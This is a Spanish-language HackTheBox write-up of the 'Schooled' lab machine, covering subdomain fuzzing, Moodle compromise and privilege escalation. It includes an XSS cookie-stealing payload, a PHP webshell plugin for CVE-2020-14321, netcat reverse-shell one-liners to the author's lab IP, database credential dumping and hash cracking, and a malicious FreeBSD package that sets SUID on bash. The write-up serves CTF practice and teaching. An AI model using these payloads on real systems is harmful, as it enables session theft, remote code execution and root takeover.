HackTheBox - Schooled

Lanz
Funk Lanz el
HackTheBox - Schooled

Máquina FreeBSD nivel medio, linda locura, nos moveremos mucho por Moodle robando cookies, cambiando roles a los cuales no deberíamos cambiar e instalando plugins maliciosos. Crackearemos hashes y finalmente aprovecharemos los permisos que tenemos en el sistema con pkg install para instalar paquetes algo peligrosos.

335schooledHTB

TL;DR (Spanish writeup)

Creada por: TheCyberGeek.

Jugaremos con fuzzing de subdominios para encontrar un servicio moodle el cual esta infestado de problemas :P

Nos aprovecharemos de un profesor que esta validando si tenemos una característica en nuestro perfil de estudiante para robarle su cookie de sesión y convertirnos en él. Estando dentro del Moodle como profesores, tendremos algunos CVEs que justamente explotan acciones como ellos.

Tendremos uno en el que podremos aprovechar una mala configuración, modificaremos el rol de nuestro usuario para permitirle a otro usuario convertirse en manager de un curso, con esto lograremos que el usuario con rol de manager por default (Lianne) instale plugins mediante un archivo .zip malicioso. Finalmente lograremos RCE como el usuario www.

Adentro encontraremos archivos de configuración, entre ellos la conf de la base de datos, nos apoyaremos de myslqshow y mysqldump para ver el contenido de una tabla con usuarios, uno de ellos conocido en el sistema. Tendremos contraseñas cifradas, apoyándonos de John The Ripper lograremos crackerlas y hacer uso de una de ellas para obtener una Shell como el usuario jamie en el sistema.

Enumerando los permisos que tenemos con jamie, veremos que puede actualizar e instalar paquetes en el sistema usando pkg install. Aprovecharemos esto para que mientras se esta instalando un paquete, nosotros podamos inyectar comandos en ese mismo paquete. Así estaríamos ejecutando las instrucciones como el usuario root. Obtendremos una Shell como él modificando el binario /bin/bash dándole permisos SUID.

Clasificación de la máquina según la gentesita

Bastante bastante real, vulns conocidas y bastante investigación.

Escribo para tener mis “notas”, por si algun día se me olvida todo, leer esto y reencontrarme (o talvez no) :) además de enfocarme en plasmar mis errores y exitos (por si ves mucho texto), todo desde una perspectiva más de enseñanza que de solo mostrar lo que hice.

Camino de verdades y verdaderas mentiras.

  1. Reconocimiento.
  2. Enumeración.
  3. Explotación.
  4. Movimiento Lateral MySQL: www -> jamie.
  5. Escalada de privilegios.

Reconocimiento #

Vemos que puertos están abiertos con nmap 📌

Empezamos haciendo un escaneo de puertos, así sabemos que servicios esta corriendo la máquina:

❭ nmap -p- --open -v 10.10.10.234 -oG initScan
Parámetro Descripción
-p- Escanea todos los 65535
–open Solo los puertos que están abiertos
-v Permite ver en consola lo que va encontrando
-oG Guarda el output en un archivo con formato grepeable para usar una función extractPorts de S4vitar que me extrae los puertos en la clipboard
❭ cat initScan 
# Nmap 7.80 scan initiated Sun Apr 11 25:25:25 2021 as: nmap -p- --open -v -oG initScan 10.10.10.234
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.10.234 ()   Status: Up
Host: 10.10.10.234 ()   Ports: 22/open/tcp//ssh///, 80/open/tcp//http///, 33060/open/tcp//mysqlx///
# Nmap done at Sun Apr 11 25:25:25 2021 -- 1 IP address (1 host up) scanned in 216.96 seconds

Perfecto, nos encontramos los servicios:

Puerto Descripción
22 SSH: Contamos con la posibilidad de obtener una Shell de manera segura.
80 HTTP: Tenemos una página web.
33060 MySQLx.

Ahora hagamos un escaneo de scripts y versiones para tener info más especifica de cada puerto:

❭ nmap -p 22,80,33060 -sC -sV 10.10.10.234 -oN portScan
Parámetro Descripción
-p Escaneo de los puertos obtenidos
-sC Muestra todos los scripts relacionados con el servicio
-sV Nos permite ver la versión del servicio
-oN Guarda el output en un archivo
❭ cat portScan 
# Nmap 7.80 scan initiated Sun Apr 11 25:25:25 2021 as: nmap -p 22,80,33060 -sC -sV -oN portScan 10.10.10.234
Nmap scan report for 10.10.10.234
Host is up (0.19s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
33060/tcp open  mysqlx?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.80%I=7%D=4/11%Time=60731B26%P=x86_64-pc-linux-gnu%r(N
SF:ULL,9,"...");
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Apr 11 25:25:25 2021 -- 1 IP address (1 host up) scanned in 78.15 seconds

Obtenemos (varias cositas que veremos después) por ahora:

Puerto Servicio Versión
22 SSH OpenSSH 7.9 (FreeBSD 2020/02/14)
80 HTTP Apache httpd 2.4.46 (FreeBSD)
33060 MySQLx -

Ahora exploremos cada servicio a ver por donde podemos vulnerar el sistema.

Enumeración #

Dando vueltas con el puerto 80 📌

335page80

Nos encontramos una página web de una institución para estudiar online, dándole una vuelta nos encontramos un email y también alusión al dominio schooled.htb:

335page80_footer

Listo, guardemos el email por si algo y agreguemos ese dominio al archivo /etc/hosts para que cuando hagamos peticiones hacia el dominio schooled.htb nos resuelva hacia la IP 10.10.10.234, que quizás tenga info diferente…


❭ cat /etc/hosts
...
10.10.10.234  schooled.htb
...

Y validando de nuevo en la web, pero en vez de escribir la IP ahora escribimos el dominio y obtenemos aparentemente el mismo resultado que antes.

Enumerando nos encontramos el apartado /teachers.html el cual tiene algunos nombres y roles que podemos guardar por si llegamos a encontrar algún portal o algo que podamos relacionar:

335page80_teachers

Jane Higgins -> Scientific.
Lianne Carter -> Manager & Profesora.
Manuel Phillips -> Profesor.
Jamie Borham -> Profesora.

Siguiendo, en el apartado /contact.html encontramos unos campos a llenar y al enviarlos nos redirecciona a un archivo llamado contact.php, pero obtenemos un error con estado 404 Not Found


Encontramos el servicio Moodle 📌

Acá no encontramos nada más en la web, jugando con el código fuente o con las carpetas que hay no vemos nada, así que procedamos a fuzzear un poco…

Haciendo un fuzzing de archivos y directorio no encontramos nada, pero si fuzzeamos a ver si existe otro dominio relacionado con schooled.htb el cual responda a la IP 10.10.10.234 tenemos:

❭ wfuzz -c --hc=404 -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://10.10.10.234 -H 'Host: FUZZ.schooled.htb'
...
=====================================================================
ID           Response   Lines    Word       Chars       Payload      
=====================================================================

000000022:   200        461 L    1555 W     20750 Ch    "pop3"
000000001:   200        461 L    1555 W     20750 Ch    "www"
000000003:   200        461 L    1555 W     20750 Ch    "ftp"
000000007:   200        461 L    1555 W     20750 Ch    "webdisk"
000000015:   200        461 L    1555 W     20750 Ch    "ns"
000000023:   200        461 L    1555 W     20750 Ch    "forum"
...

Tenemos muchos, pero probablemente sean falsos positivos, así que filtremos para que nos quite todos los que tengan como numero total de letras 1555:

❭ wfuzz -c --hc=404 --hw=1555 -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://10.10.10.234 -H 'Host: FUZZ.schooled.htb'
...
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000162:   200        1 L      5 W        84 Ch       "moodle"

Perfecto, aparentemente tenemos un nuevo dominio a probar, pues agreguémoslo junto a schooled.htb al archivo /etc/hosts:

❭ cat /etc/hosts
...
10.10.10.234  schooled.htb moodle.schooled.htb
...

Y validando en la web nos encontramos con:

335page80_moodle

Nice, tenemos un servicio moodle, que según Wikipedia es:

🎓 Herramienta de gestión de aprendizaje (LMS), o más concretamente de Learning Content Management (LCMS), de distribución libre, escrita en PHP.

Si intentamos ver cualquier recurso nos pide un ingreso por medio de credenciales… (Probar contraseñas por default y con los profesores encontrados no nos dio resultado).

Pero también podemos ingresar como invitado o crearnos una cuenta, probando inicialmente el acceso como invitado contra cualquier curso nos pide que debemos tener una cuenta:

335page80_moodle_mathEnrol

Dando vueltas por el sitio como invitado vemos varias URL’s posiblemente llamativas:

  • http://moodle.schooled.htb/moodle/enrol/index.php?id=5

    El ID va del 5 al 2, el número 1 nos redirecciona a la página principal donde están todos los cursos.

  • http://moodle.schooled.htb/moodle/calendar/view.php?view=month

    Tiene la opción de variar entre día, mes y año, pero solo mes (month) funciona.

  • http://moodle.schooled.htb/moodle/calendar/view.php?view=month&time=1614556800

    Podemos ver el calendario de varios meses, ya que time depende del mes que escojamos.

Entonces, con esto en mente podríamos probar inyección SQL (no va por acá) de varias maneras, validando rápidamente que no existan más IDs (cursos) tenemos:

❭ for id in $(seq 0 20); do echo -n "ID: $id -> Status Code: "; curl -s -I --cookie "MoodleSession=2a9js25d3usf0dv3u5r27c21nn" http://moodle.schooled.htb/moodle/enrol/index.php?id=$id | grep "HTTP/1.1" | awk '{print $2}'; done

ID: 0 -> Status Code: 404
ID: 1 -> Status Code: 303
ID: 2 -> Status Code: 200
ID: 3 -> Status Code: 200
ID: 4 -> Status Code: 200
ID: 5 -> Status Code: 200
ID: 6 -> Status Code: 404
ID: 7 -> Status Code: 404
ID: 8 -> Status Code: 404
ID: 9 -> Status Code: 404
ID: 10 -> Status Code: 404
ID: 11 -> Status Code: 404
ID: 12 -> Status Code: 404
ID: 13 -> Status Code: 404
ID: 14 -> Status Code: 404
ID: 15 -> Status Code: 404
ID: 16 -> Status Code: 404
ID: 17 -> Status Code: 404
ID: 18 -> Status Code: 404
ID: 19 -> Status Code: 404
ID: 20 -> Status Code: 404

Ahora probando a registrarnos encontramos un nuevo dominio:

335page80_moodleSignup

  • student.schooled.htb.

Pero agregándolo al archivo /etc/hosts y validando su contenido nos damos cuenta de que responde con el mismo de schooled.htb. Así que cambiamos nuestro email con ese dominio y nos permite registrarnos:

335page80_moodleDash

Vemos algo interesante a la izquierda, Private files, echándole un ojo nos permite subir archivos, podemos hacerlo mediante un URL:

335page80_moodlePrivFiles

Probando a que el servicio lea un archivo que esté alojado en nuestra máquina (servidor) obtenemos respuesta, pero después de varios intentos no logramos nada relevante. Dando vueltas encontramos que podemos modificar nuestra imagen de perfil. Intentamos lo mismo que antes e incluso subir una imagen con metadatos PHP o cambiándole los magic bytes a un script para que el sistema crea que es un JPEG, pero nada, no obtenemos respuesta.

Entrando en Site home nos damos cuenta de algo interesante, el curso Mathematics es el único al cual podemos “anotarnos” como estudiantes:

335page80_moodleMathEnrol

Después de anotarnos (enrolarnos) nos redirige a:

http://moodle.schooled.htb/moodle/course/view.php?id=5

335page80_moodleMathView

Si nos movemos a Annoucements tenemos 2 mensajes:

Fijándonos en el primero tenemos información interesante:

Explotación #

👨‍🏫 Students who do not set their MoodleNet profiles will be removed from the course before the course is due to start and I will be checking all students who are enrolled on this course.

Nos indica que el usuario Manuel Phillips (profesor) estará revisando que todos los estudiantes que se unan a su curso tengan habilitado o modificado en su perfil (estudiante) algo llamado MoodleNet (que es una red social para educadores según la web oficial) :O

Opa, esto esta interesante, ya que dependiendo el campo el cual debamos modificar podríamos pensar en robarle la cookie al profesor, ya que estaría verificando nuestro perfil (siempre y cuando estemos enrolados en su curso), por lo tanto esta entrando en el campo (de nuestro perfil) y validaría su contenido.

Veamos, vamos a nuestro perfil arriba a la derecha, damos clic en edit profile y vemos:

Es un campo de texto, pues vayamos a la fija e intentemos que lea algo de nuestro servidor a ver si realmente el profesor esta validando el input:

Levantamos servidor web:

❭ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Y en el campo MoodleNet escribimos:

<script src="http://10.10.14.11:8000/serompe.oque"></script>

Guardamos los cambios… Y si revisamos nuestro servidor:

❭ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.234 - - [12/Apr/2021 25:25:25] code 404, message File not found
10.10.10.234 - - [12/Apr/2021 25:25:25] "GET /serompe.oque HTTP/1.1" 404 -

Entonces, esta perfecto, sabemos que el profesor esta validando ese campo, ahora podemos proceder a robarle su cookie, para esto simplemente indicamos en el campo MoodleNet:

<script>document.write('<img src="http://10.10.14.11:8000/serompe.oque?cookie=' + document.cookie + '">')</script>

Esto va a intentar subir una imagen (como antes), solo que como la imagen “esta” en nuestro servidor, intentara cargarla, peeeero además le concatenamos una variable llamada cookie que guardara la sesión del usuario que ingrese al campo (con document.cookie), o sea, obtendríamos la cookie del profesor que esta validando el campo.

Guardamos yyyyyyyyyy en nuestro servidor obtenemos:

❭ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.234 - - [12/Apr/2021 25:25:25] code 404, message File not found
10.10.10.234 - - [12/Apr/2021 25:25:25] "GET /serompe.oque?cookie=MoodleSession=boejsdgppi3r50rahsn0tcnqji HTTP/1.1" 404 -

PERFECTOOOOOOOOOOOO, tenemos la petición con una cookie, pues probemos a cambiar la nuestra por esa:

335page80_moodle_changeCookie

VAMONOOOOOOOOOOOOOOOOOOS, somos el usuario Manuel Phillips.

En su perfil vemos un correo y un dominio, podemos guardarlos por si algo. Además sabemos la estructura de como están (suponemos) guardados los usuarios (o profesores) del servidor: apellido_nombre@dominio.


Divagando y explotando la versión de Moodle 📌

Viendo que podemos hacer ahora como profesor, leyendo cositas y probando otras, finalmente en la web encontramos un PoC haciendo alusión al CVE CVE-2020-14321 que se ve interesante:


335google_cve_moodle

La vulnerabilidad se basa en que un profesor puede asignarse a sí mismo o a otros el rol de manager dentro de un curso, lo que le daría poder de manipular el curso como **administrador** 😮

Entonces, si indagamos un poco encontramos el PoC oficial de la persona que encontró la vulnerabilidad:

Ya tenemos todo lo que necesitamos, así que sigamos los mismos pasos que el video:

1. Nos logeamos como profesor, pero como tenemos la cookie de uno, tamos bien.

335page80_moodle_changeCookie

2. Vamos al curso del cual somos profesor, en nuestro caso mathematics (Maths), damos clic en Participants y después en Enrol users.

335page80_moodle_cve_stepsToEnrol

335page80_moodle_cve_enrolUsers

Estando en esa ventana seleccionamos al usuario Lianne Carter para enrolarla al curso (ya jugaremos con burp), pero, ¿por qué ella? Bueno si recordamos cuando encontramos los profesores en la web, estaba Lianne Carter como manager del sitio, así que nos aprovecharemos para cambiar unos valores y enrolarla, pero como administradora del curso (si no, se enrolaría como estudiante :P).

Interceptamos mediante BurpSuite la petición y damos clic en Enrol users, obtenemos:

335burp_moodle_cve_enrolUser_lianne

Dos campos importantes:

  • userlist[]= (ID del usuario).
  • roletoassign= (Rol a asignar, 1 es manager según esta documentación).

335google_moodle_roles

Así que en vez de 5 colocamos 1 y enviamos la petición.

Pero validando en la web no vemos que Lianne sea manager aún:

Lianne Carter - carter_lianne@staff.schooled.htb - Student

Si modificamos al usuario Manuel (ID 24) (con el que estamos) para que también tenga el rol de manager obtenemos en la web:

Lianne Carter - carter_lianne@staff.schooled.htb - Manager, Student
...
Manuel Phillips - phillips_manuel@staff.schooled.htb - Manager, Teacher

Listos, ahora si podemos seguir con el PoC

3. Obtenemos una sesión en Moodle como Lianne (manager) en el curso.

Damos clic en el nombre de Lianne y estando en su perfil vamos a Log in as:

335page80_moodle_cve_lianne_logIN

Y ahora somos Lianne y tenemos acceso a un nuevo apartado, Site administration:

335page80_moodle_cve_lianne_siteAdmin

4. Vamos a instalar un plugin malicioso.

Entramos al sitio administrativo y seleccionamos Plugins:

Ahora damos clic en Install plugins:

Nos pide un archivo zip para instalar el plugin. Volviendo al repo vemos que nos provee con un comprimido llamado rce.zip:

Lo descargamos y validando su contenido tenemos:

❭ tree rce
rce
├── lang
│   └── en
│       └── block_rce.php
└── version.php

🔦 block_rce.php es el archivo que nos permite ejecutar comandos en el sistema, todo mediante la variable cmd que recibe en la petición GET:

❭ cat rce/lang/en/block_rce.php 
<?php system($_GET['cmd']); ?>

🔦 version.php permite la generación del plugin y llama a nuestro archivo malicioso:

❭ cat rce/version.php 
<?php 
$plugin->version = 2020061700;
$plugin->component = 'block_rce';

Listos, para subir el archivo zip, seleccionamos el objeto y damos clic en Install plugin from the ZIP file, recibimos:

Damos clic en Continue y según las indicaciones del PoC simplemente debemos dirigirnos a la siguiente ruta:

<domain>/blocks/rce/lang/en/block_rce.php

Y concatenarle el comando que queramos ejecutar con la variable cmd, modificándola quedaría así para ejecutar el comando id:

http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=id

335page80_moodle_cve_lianne_pluginInstalled_RCE

PERFECTOOOOOOOOOOOOOOOOOOOOOOo tenemos ejecución remota de comandossadflakjwlekfjlkasd (: Intentemos conseguir una reverse Shell…

Nos ponemos en escucha con netcat: nc -lvp 4433.

Probando estas dos sentencias lo logramos:

http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i |telnet 10.10.14.11 4433 > /tmp/f
http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i |nc 10.10.14.11 4433 > /tmp/f

Y Listones, ya estariamos dentro. Intentando hacer tratamiento de la TTY o al menos tener una Shell más bonita, tenemos problemas y no lo logramos :( Así que enumeremos a ver como podemos movernos a algo lindo.

Como vimos, el proceso es muuuuy largo y tedioso de hacer manual, por lo tanto me cree dos scripts, uno enfocado 100% en la máquina, con él nos agrega la línea en el perfil de Moodle y también toooooooooooodo el tema del RCE.

El otro explota directamente el CVE, por lo que funciona contra cualquier Moodle 3.9 con el que tengas credenciales de un profesor (o una cookie :P)

MySQL: www -> jamie #

Enumerando los usuarios del sistema tenemos:

ls -la /home
lrwxr-xr-x  1 root  wheel  8 Feb 26 22:45 /home -> usr/home
ls -la /usr/home
total 26
drwxr-xr-x   4 root   wheel   4 Mar 16 06:33 .
drwxr-xr-x  16 root   wheel  16 Feb 26 22:46 ..
drwx------   2 jamie  jamie  11 Feb 28 18:13 jamie
drwx------   5 steve  steve  14 Mar 17 14:05 steve
  • jamie y steve.

Leyendo archivos de la ruta donde salimos encontramos la configuración de la base de datos:

pwd
/usr/local/www/apache24/data/moodle
cat config.php
<?php  // Moodle configuration file

unset($CFG);
global $CFG;
$CFG = new stdClass();

$CFG->dbtype    = 'mysqli';
$CFG->dblibrary = 'native';
$CFG->dbhost    = 'localhost';
$CFG->dbname    = 'moodle';
$CFG->dbuser    = 'moodle';
$CFG->dbpass    = 'PlaybookMaster2020';
$CFG->prefix    = 'mdl_';
$CFG->dboptions = array (
  'dbpersist' => 0,
  'dbport' => 3306,
  'dbsocket' => '',
  'dbcollation' => 'utf8_unicode_ci',
);

$CFG->wwwroot   = 'http://moodle.schooled.htb/moodle';
$CFG->dataroot  = '/usr/local/www/apache24/moodledata';
$CFG->admin     = 'admin';

$CFG->directorypermissions = 0777;

require_once(__DIR__ . '/lib/setup.php');

// There is no php closing tag in this file,
// it is intentional because it prevents trailing whitespace problems!
  • moodle -> PlaybookMaster2020

Buscando la manera de jugar con MySQL con esta terminal encontramos las lindas herramientas:

find / -name mysqlshow
/usr/local/bin/mysqlshow

Usémosla para intentar ver el contenido de la base de datos:

/usr/local/bin/mysqlshow -u moodle -pPlaybookMaster2020
+--------------------+
|     Databases      |
+--------------------+
| information_schema |
| moodle             |
+--------------------+

Tenemos la base de datos moodle (aunque ya lo sabíamos del archivo config.php), veamos sus tablas:

/usr/local/bin/mysqlshow -u moodle -pPlaybookMaster2020 moodle
Database: moodle
+----------------------------------+
|              Tables              |
+----------------------------------+
| mdl_analytics_indicator_calc     |
| mdl_analytics_models             |
...
| mdl_user                         |
...

Ahora que tenemos una tabla llamativa podemos usar mysqldump para “dumpear” (realmente hace como si quisiéramos realizar un backup, por eso dumpea) la info de lo que le pidamos, en este caso de la tabla mdl_user:

/usr/local/bin/mysqldump -u moodle -pPlaybookMaster2020 moodle mdl_user

335bash_wwwRS_mysqldump_MDLuserTable

Vemos muuuucha información, pero toda es relacionada con usuarios, si ajustamos la visión vemos un usuario llamado jamie y que esta relacionado con el staff, por lo que puede ser el mismo jamie del sistema, podemos tomar su hash e intentar crackearlo.

❭ cat jamie_hash
$2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW

Usaremos John The Ripper:

❭ john --wordlist=/usr/share/wordlists/rockyou.txt jamie_hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
!QAZ2wsx         (?)
1g 0:00:06:00 DONE (2021-04-12 25:25) 0.002771g/s 38.50p/s 38.50c/s 38.50C/s 010188..!QAZ2wsx
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Al parecer el resultado es !QAZ2wsx, probemos mediante SSH con el usuario jamie:

❭ ssh jamie@10.10.10.234
Password for jamie@Schooled:
Last login: Tue Mar 16 14:44:53 2021 from 10.10.14.5
FreeBSD 13.0-BETA3 (GENERIC) #0 releng/13.0-n244525-150b4388d3b: Fri Feb 19 04:04:34 UTC 2021

Welcome to FreeBSD!
...
jamie@Schooled:~ $ id
uid=1001(jamie) gid=1001(jamie) groups=1001(jamie),0(wheel)
jamie@Schooled:~ $ 

Perfectísimo, tamos dentro de la máquina con una linda Shell :)

Escalada de privilegios #

Viendo los permisos que tiene jamie en el sistema, tenemos:

jamie@Schooled:~ $ sudo -l
User jamie may run the following commands on Schooled:
    (ALL) NOPASSWD: /usr/sbin/pkg update
    (ALL) NOPASSWD: /usr/sbin/pkg install *

Opa, interesante, dos permisos, uno para actualizar paquetes (supongo) y otro para instalar paquetes de la ruta donde estemos. Y ambos los podemos ejecutar como cualquier usuario del sistema.

📦 pkg provides an interface for manipulating packages: registering, adding, removing and upgrading packages.

Dando vueltas para ver como podríamos explotar esto, encontramos un post donde nos muestra un script que genera un paquete para posteriormente ser instalado:

El post toma el script por partes, pero la parte que nos interesa en la inicial, ya que es donde podemos modificar el código que queremos que se ejecute mientras el paquete se esta instalando:

#!/bin/sh

STAGEDIR=/tmp/stage
rm -rf ${STAGEDIR}
mkdir -p ${STAGEDIR}

cat >> ${STAGEDIR}/+PRE_DEINSTALL <<EOF
# careful here, this may clobber your system
echo "Resetting root shell"
pw usermod -n root -s /bin/csh
EOF

cat >> ${STAGEDIR}/+POST_INSTALL <<EOF
# careful here, this may clobber your system
echo "Registering root shell"
pw usermod -n root -s /bin/sh
EOF

Donde relativamente parece que resetea la Shell asignada al usuario root, peroooo, podríamos cambiar esos comandos por los nuestros, algo así:

#!/bin/sh

STAGEDIR=/tmp/stage
rm -rf ${STAGEDIR}
mkdir -p ${STAGEDIR}

cat >> ${STAGEDIR}/+PRE_DEINSTALL <<EOF
# careful here, this may clobber your system
echo "1 root shell"
whoami | nc 10.10.14.11 4434
EOF

cat >> ${STAGEDIR}/+POST_INSTALL <<EOF
# careful here, this may clobber your system
echo "2 root shell"
id | nc 10.10.14.11 4434
EOF

Intentamos que nos envíe el output de whoami y de id a nuestro listener y ver que obtenemos.

Esta parte es genérica y estructural, entiendo que es necesaria para la creación del paquete, pero no necesitamos modificar nada:

cat >> ${STAGEDIR}/+MANIFEST <<EOF
name: mypackage
version: "1.0_5"
origin: sysutils/mypackage
comment: "automates stuff"
desc: "automates tasks which can also be undone later"
maintainer: john@doe.it
www: https://doe.it
prefix: /
EOF

echo "deps: {" >> ${STAGEDIR}/+MANIFEST
pkg query "  %n: { version: \"%v\", origin: %o }" portlint >> ${STAGEDIR}/+MANIFEST
pkg query "  %n: { version: \"%v\", origin: %o }" poudriere >> ${STAGEDIR}/+MANIFEST
echo "}" >> ${STAGEDIR}/+MANIFEST

mkdir -p ${STAGEDIR}/usr/local/etc
echo "# hello world" > ${STAGEDIR}/usr/local/etc/my.conf
echo "/usr/local/etc/my.conf" > ${STAGEDIR}/plist

pkg create -m ${STAGEDIR}/ -r ${STAGEDIR}/ -p ${STAGEDIR}/plist -o .

Ahora ya podemos ejecutar el script y validar si se nos genera el paquete:

jamie@Schooled:/tmp/aver $ ./aja.sh
jamie@Schooled:/tmp/aver $ ls
aja.sh mypackage-1.0_5.txz

Listo, se genera correctamente (: Instalémoslo:

jamie@Schooled:/tmp/aver $ sudo /usr/sbin/pkg install *.txz
Updating FreeBSD repository catalogue...
pkg: Repository FreeBSD has a wrong packagesite, need to re-create database

Pero acá se queda pensando y no hace nada, así que buscando encontramos que probablemente el tema sea que intenta actualizar el catálogo de repositorios (como dice ahí) y por eso se queda pegado. Pero en este manual tenemos el parámetro --no-repo-update el cual se encarga precisamente de suprimir la actualización automática que intenta hacer:

Si volvemos a intentar pero ahora con el nuevo argumento:

jamie@Schooled:/tmp/aver $ sudo /usr/sbin/pkg install --no-repo-update *.txz
pkg: Repository FreeBSD has a wrong packagesite, need to re-create database
pkg: Repository FreeBSD cannot be opened. 'pkg update' required
Checking integrity... done (0 conflicting)
The following 1 package(s) will be affected (of 0 checked):

New packages to be INSTALLED:
        mypackage: 1.0_5

Number of packages to be installed: 1

Proceed with this action? [y/N]: y
[1/1] Installing mypackage-1.0_5...
Extracting mypackage-1.0_5: 100%
2 root shell
jamie@Schooled:/tmp/aver $ 

Perfecto, se ejecuta, en nuestro listener recibimos:

❭ nc -lvp 4434
listening on [any] 4434 ...
connect to [10.10.14.11] from schooled.htb [10.10.10.234] 39175
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)

Oko, tenemos ejecución de comandos, pero recibimos el id, por lo tanto el primer apartado parece que no se está ejecutando, agreguemos nuestra reverse Shell en la parte de +POST_INSTALL (segundo apartado):

...
EOF

cat >> ${STAGEDIR}/+POST_INSTALL <<EOF
# careful here, this may clobber your system
echo "2 root shell"
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i | nc 10.10.14.11 4434 > /tmp/f
EOF

cat >> ${STAGEDIR}/+MANIFEST <<EOF
...

Pero al ejecutar la instalación del paquete obtenemos o errores o simplemente nada.

Así que podemos probar a modificar la /bin/bash a SUID:

⛹️ SUID? … it’s a way in UNIX-like operating systems of running a command as another user without providing credentials. pentestpartners - exploiting-suid-executables.

jamie@Schooled:/tmp/aver $ ls -la /bin/bash
lrwxr-xr-x  1 root  wheel  19 Apr  1 17:02 /bin/bash -> /usr/local/bin/bash

Vemos que /bin/bash tiene un link hacia /usr/local/bin/bash, o sea que cuando ejecutemos /bin/bash, esteremos ejecutando realmente /usr/local/bin/bash.

jamie@Schooled:/tmp/aver $ ls -la /usr/local/bin/bash
-rwxr-xr-x  1 root  wheel  941288 Feb 20 01:47 /usr/local/bin/bash

Entonces modificamos los permisos agregándole el SUID (4) al binario /bin/bash, que realmente se los estaría otorgando al binario /usr/local/bin/bash :)

...
EOF

cat >> ${STAGEDIR}/+POST_INSTALL <<EOF
# careful here, this may clobber your system
echo "2 root shell"
chmod 4755 /bin/bash
EOF

cat >> ${STAGEDIR}/+MANIFEST <<EOF
...

Generamos paquete e instalamos:

jamie@Schooled:/tmp/aver $ ./aja.sh 
jamie@Schooled:/tmp/aver $ sudo /usr/sbin/pkg install --no-repo-update *.txz
pkg: Repository FreeBSD has a wrong packagesite, need to re-create database
pkg: Repository FreeBSD cannot be opened. 'pkg update' required
Checking integrity... done (0 conflicting)
The following 1 package(s) will be affected (of 0 checked):

New packages to be INSTALLED:
        mypackage: 1.0_5

Number of packages to be installed: 1

Proceed with this action? [y/N]: y
[1/1] Installing mypackage-1.0_5...
Extracting mypackage-1.0_5: 100%
2 root shell
jamie@Schooled:/tmp/aver $ 

Ahora validamos los permisos de los binarios:

jamie@Schooled:/tmp/aver $ ls -la /bin/bash
lrwxr-xr-x  1 root  wheel  19 Apr  1 17:02 /bin/bash -> /usr/local/bin/bash
jamie@Schooled:/tmp/aver $ ls -la /usr/local/bin/bash
-rwsr-xr-x  1 root  wheel  941288 Feb 20 01:47 /usr/local/bin/bash

Perfecto, vemos el nuevo permiso asignado con una s en la ejecución.

Ahora simplemente indicamos /usr/local/bin/bash -p para que ejecute el programa con los permisos SUID que tenga asignados el objeto. Como el dueño del binario es root, tomara el SUID de ese usuario, por lo tanto tendremos una Shell como él.

jamie@Schooled:/tmp/aver $ /usr/local/bin/bash -p
[jamie@Schooled /tmp/aver]# whoami
root

Y si (: tenemos una sesión como root, solo nos quedaría ver las flags:

335flags

Linda máquina eh! Linda linda, me gusto mucho como le robamos la cookie al profesor y como nos aprovechamos del rol manager para conseguir RCE, muy lindo todo.

(Además que me permitió explorar a profundidad la creación de un exploit bastante retador)

Y bueno, como siempre y como nunca, muchísimas gracias y a seguir rompiendo todo ;)

Comments

comments powered by Disqus